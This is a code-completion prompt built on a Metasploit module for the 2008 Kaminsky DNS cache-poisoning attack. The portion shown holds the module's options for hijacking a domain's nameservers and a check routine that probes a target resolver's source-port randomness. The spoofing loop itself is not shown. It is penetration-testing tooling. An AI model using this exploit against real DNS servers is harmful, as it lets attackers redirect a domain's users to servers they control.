You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: bailiwicked_domain.rb
    path of file: ./repos/metasploit-framework/modules/auxiliary/spoof/dns
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/dns'
require 'resolv'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Capture

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'DNS BailiWicked Domain Attack',
      'Description'    => %q{
        This exploit attacks a fairly ubiquitous flaw in DNS implementations which
        Dan Kaminsky found and disclosed ~Jul 2008.  This exploit replaces the target
        domains nameserver entries in a vulnerable DNS cache server. This attack works
        by sending random hostname queries to the target DNS server coupled with spoofed
        replies to those queries from the authoritative nameservers for that domain.
        Eventually, a guessed ID will match, the spoofed packet will get accepted, and
        the nameserver entries for the target domain will be replaced by the server
        specified in the NEWDNS option of this exploit.
      },
      'Author'         =>
        [
          'I)ruid', 'hdm',
          # Cedric figured out the NS injection method
          # and was cool enough to email us and share!
          'Cedric Blancher <sid[at]rstack.org>'
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2008-1447' ],
          [ 'OSVDB', '46776'],
          [ 'US-CERT-VU', '800113' ],
          [ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0003.txt' ],
        ],
      'DisclosureDate' => '2008-07-21'
    ))

    register_options(
      [
        OptEnum.new('SRCADDR', [true, 'The source address to use for sending the queries', 'Real', ['Real', 'Random'], 'Real']),
        OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
        OptString.new('DOMAIN', [true, 'The domain to hijack', 'example.com']),
        OptString.new('NEWDNS', [true, 'The hostname of the replacement DNS server', nil]),
        OptAddress.new('RECONS', [true, 'The nameserver used for reconnaissance', '208.67.222.222']),
        OptInt.new('XIDS', [true, 'The number of XIDs to try for each query (0 for automatic)', 0]),
        OptInt.new('TTL', [true, 'The TTL for the malicious host entry', rand(20000)+30000]),
      ])

    deregister_options('FILTER','PCAPFILE')
  end

  def auxiliary_commands
    return {
      "racer" => "Determine the size of the window for the target server"
    }
  end

  def cmd_racer(*args)
    targ = args[0] || rhost()
    dom  = args[1] || "example.com"

    if !(targ and targ.length > 0)
      print_status("usage: racer [dns-server] [domain]")
      return
    end

    calculate_race(targ, dom)
  end

  def check
    targ = rhost

    srv_sock = Rex::Socket.create_udp(
      'PeerHost' => targ,
      'PeerPort' => 53
    )

    random = false
    ports  = {}
    lport  = nil
    reps   = 0

    1.upto(30) do |i|

      req = Resolv::DNS::Message.new
      txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
      req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
      req.rd = 1

      srv_sock.put(req.encode)
      res, addr = srv_sock.recvfrom(65535, 1.0)


      if res and res.length > 0
        reps += 1
        res = Resolv::DNS::Message.decode(res)
        res.each_answer do |name, ttl, data|
          if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.met
    
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'DNS BailiWicked Domain Attack',
      'Description'    => %q{
        This exploit attacks a fairly ubiquitous flaw in DNS implementations which
        Dan Kaminsky found and disclosed ~Jul 2008.  This exploit replaces the target
        domains nameserver entries in a vulnerable DNS cache server. This attack works
        by sending random hostname queries to the target DNS server coupled with spoofed
        replies to those queries from the authoritative nameservers for that domain.
        Eventually, a guessed ID will match, the spoofed packet will get accepted, and
        the nameserver entries for the target domain will be replaced by the server
        specified in the NEWDNS option of this exploit.
      },
      'Author'         =>
        [
          'I)ruid', 'hdm',
          # Cedric figured out the NS injection method
          # and was cool enough to email us and share!
          'Cedric Blancher <sid[at]rstack.org>'
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2008-1447' ],
          [ 'OSVDB', '46776'],
          [ 'US-CERT-VU', '800113' ],
          [ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0003.txt' ],
        ],
      'DisclosureDate' => '2008-07-21'
    ))

    register_options(
      [
        OptEnum.new('SRCADDR', [true, 'The source address to use for sending the queries', 'Real', ['Real', 'Random'], 'Real']),
        OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
        OptString.new('DOMAIN', [true, 'The domain to hijack', 'example.com']),
        OptString.new('NEWDNS', [true, 'The hostname of the replacement DNS server', nil]),
        OptAddress.new('RECONS', [true, 'The nameserver used for reconnaissance', '208.67.222.222']),
        OptInt.new('XIDS', [true, 'The number of XIDs to try for each query (0 for automatic)', 0]),
        OptInt.new('TTL', [true, 'The TTL for the malicious host entry', rand(20000)+30000]),
      ])

    deregister_options('FILTER','PCAPFILE')
  end

  def auxiliary_commands
    return {
      "racer" => "Determine the size of the window for the target server"
    }
  end

  def cmd_racer(*args)
    targ = args[0] || rhost()
    dom  = args[1] || "example.com"

    if !(targ and targ.length > 0)
      print_status("usage: racer [dns-server] [domain]")
      return
    end

    calculate_race(targ, dom)
  end

  def check
    targ = rhost

    srv_sock = Rex::Socket.create_udp(
      'PeerHost' => targ,
      'PeerPort' => 53
    )

    random = false
    ports  = {}
    lport  = nil
    reps   = 0

    1.upto(30) do |i|

      req = Resolv::DNS::Message.new
      txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
      req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
      req.rd = 1

      srv_sock.put(req.encode)
      res, addr = srv_sock.recvfrom(65535, 1.0)


      if res and res.length > 0
        reps += 1
        res = Resolv::DNS::Message.decode(res)
        res.each_answer do |name, ttl, data|
          if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
            t_addr, t_port = $1.split(':')

            vprint_status(" >> ADDRESS: #{t_addr}  PORT: #{t_port}")
            t_port = t_port.to_i
            if(lport and lport != t_port)
              random = true
            end
            lport  = t_port
            ports[t_port] ||=0
            ports[t_port]  +=1
          end
        end
      end


      if(i>5 and ports.keys.length == 0)
        break
      end
    end